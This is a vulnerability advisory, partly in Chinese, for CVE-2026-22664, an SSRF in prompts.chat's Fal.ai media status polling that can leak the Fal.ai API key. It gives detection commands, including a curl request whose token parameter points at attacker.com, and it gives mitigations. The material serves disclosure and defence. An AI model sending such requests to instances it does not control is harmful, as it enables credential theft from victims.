prompts.chat SSRF 通过 Fal.ai 媒体状态轮询

攻击者可以利用此 SSRF 漏洞发起未经授权的外部请求，绕过内部网络安全措施。更严重的是，攻击者可以通过在 token 参数中注入恶意 URL，来泄露 Fal.ai API 密钥 (FALAPIKEY)。此密钥通常包含在 Authorization header 中，泄露后攻击者可以窃取凭证，对内部网络进行探测，并滥用受害者的 Fal.ai 帐户。这种攻击模式类似于其他 SSRF 漏洞，可能导致敏感信息泄露和系统被入侵。攻击者可以利用泄露的 API 密钥访问受害者的 Fal.ai 资源，甚至可能控制整个 Fal.ai 实例。

Organizations utilizing prompts.chat for internal communication or AI-powered chatbot applications are at risk. Specifically, deployments that rely on Fal.ai for media processing or storage are particularly vulnerable. Shared hosting environments where multiple users share the same prompts.chat instance should be carefully assessed, as a compromised account could impact other users.

• nodejs / server: Monitor application logs for outbound requests to unusual or unexpected domains. Use lsof or netstat to identify processes making outbound connections to suspicious IP addresses or ports.

lsof -i | grep prompts.chat

• generic web: Use curl to test the media status polling endpoint with a crafted URL containing a known malicious domain. Examine the response headers for any signs of credential leakage.

curl -v 'https://your-prompts-chat-instance/api/media_status?token=https://attacker.com' 2>&1 | grep Authorization

1. 2026-04-03Disclosure

   disclosure

1. 已保留2026-01-08
2. 发布日期2026-04-03
3. 修改日期2026-04-07
4. EPSS 更新日期2026-04-11

为了缓解 CVE-2026-22664 的风险，建议立即升级到修复版本 30a8f0470e0ba45e6be9c9f55220f4a9a6b91c99。如果无法立即升级，可以考虑以下临时缓解措施：首先，实施严格的 URL 验证，确保 Fal.ai 媒体状态轮询只允许访问受信任的域名。其次，限制 prompts.chat 应用程序的网络访问权限，防止其访问敏感的内部资源。最后，监控 Fal.ai API 密钥的泄露情况，并定期轮换密钥。升级后，验证 API 密钥是否仍然安全，并检查是否有任何未经授权的访问记录。